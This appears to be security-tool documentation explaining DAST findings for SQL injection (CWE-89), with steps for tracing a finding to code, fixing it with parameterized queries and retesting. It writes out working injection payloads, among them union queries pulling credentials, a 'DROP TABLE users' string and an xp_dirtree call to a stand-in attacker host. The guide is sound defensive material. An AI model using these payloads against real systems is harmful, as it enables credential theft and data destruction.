CWE-89: SQL Injection
Overview
This guidance helps interpret DAST findings for CWE-89: SQL Injection. During dynamic scanning, the scanner detected that user-controlled input was incorporated into SQL queries without proper parameterization, allowing manipulation of database logic.
What the DAST scanner detected:
- Error-based detection: SQL error messages in responses (
mysqli_fetch_array() expects parameter 1 to be mysqli_result,You have an error in your SQL syntax,ORA-00933: SQL command not properly ended) - Boolean-based blind SQLi: Different responses for
1' AND '1'='1(true) vs1' AND '1'='2(false) - Time-based blind SQLi: Response delays from
1' AND SLEEP(5)--(MySQL),1'; WAITFOR DELAY '00:00:05'--(MSSQL),1'||pg_sleep(5)--(PostgreSQL) - Union-based injection: Successful data exfiltration via
UNION SELECTqueries returning database contents - Out-of-band detection: DNS lookups or HTTP requests triggered by payloads like
1'; EXEC master..xp_dirtree '//attacker.com/a'--
Key DAST evidence:
- Error response:
Warning: mysqli_query(): (HY000/1064): You have an error in your SQL syntax near ''1' OR '1'='1'' at line 1 - 5-second delay when
?id=1' AND SLEEP(5)--submitted - Different content for
?user=admin' AND '1'='1'--(200 OK, user data) vs?user=admin' AND '1'='2'--(200 OK, no data) - Union injection:
?id=1 UNION SELECT username,password FROM users--returns user credentials in response
Analyzing the Dynamic Scan Result
What the DAST Scanner Found
When reviewing your security scan results, you'll see:
HTTP Request Details
- URL and endpoint that triggered the finding
- HTTP method (GET, POST, etc.)
- Query parameters or form data with test payloads
- Request headers and body content
HTTP Response Evidence
- Response showing the vulnerability manifestation
- Evidence of improper handling or injection
- Runtime behavior indicators
Attack Vector
- Which parameter or input is vulnerable
- Type of exploitation possible
- Context where the vulnerability appears
Mapping DAST Findings to Source Code
Find the Vulnerable Endpoint
Use the HTTP request URL to locate the code:
Locate the Route Handler
Common patterns to search for:
- Python Flask/Django:
@app.route('/users'),path('users/', ...) - Node.js Express:
app.get('/users', ...),router.get('/users', ...) - Java Spring:
@GetMapping("/users"),@RequestMapping("/users") - ASP.NET:
[Route("users")],MapRoute("users", ...) - PHP:
$_GET['id'], route definitions in routing files
Find the Parameter Handling
Search for the vulnerable parameter name:
# Find where the parameter is accessed
grep -r "request.args.get('id')" src/ # Python Flask
grep -r "req.query.id" src/ # Node.js
grep -r "@RequestParam.*id" src/ # Java Spring
grep -r "Request.QueryString['id']" src/ # ASP.NET
grep -r "$_GET['id']" src/ # PHP
Trace to Vulnerable Operation
Look for where the parameter is used in:
- Database query construction
- ORM method calls with user input
- Raw SQL execution
- Stored procedure calls
Remediation
Core principle: Never build SQL by concatenating untrusted input; use parameterized queries (prepared statements) so user input is always treated as data, not query structure.
→ For comprehensive remediation guidance, see Static CWE-89 Guidance
Language-Specific Guidance
The static guidance provides detailed remediation steps for many languages. If you need language-specific examples:
Verification and Follow-Up Testing
After applying the fix:
Reproduce the Vulnerability
# Use curl to replay the exact request
curl "http://localhost:3000/users?id=1' OR '1'='1"
# Or use browser DevTools Network tab to copy as cURL
Verify the Fix
- Confirm queries use parameterized statements
- Verify no raw SQL concatenation exists at the sink; all dynamic values are bound parameters (validation is only for type/range/business rules).
- Confirm DB account uses least privilege (no DDL/admin perms for app queries).
- Test that injection attempts fail safely
Test Edge Cases
# Classic injection tests
/users?id=1' OR '1'='1
/users?id=1; DROP TABLE users--
/users?id=1' UNION SELECT * FROM passwords--
# Advanced techniques
/users?id=1' AND SLEEP(5)--
Re-run DAST Scanner
Run your dynamic scanner again on the fixed endpoint to confirm remediation.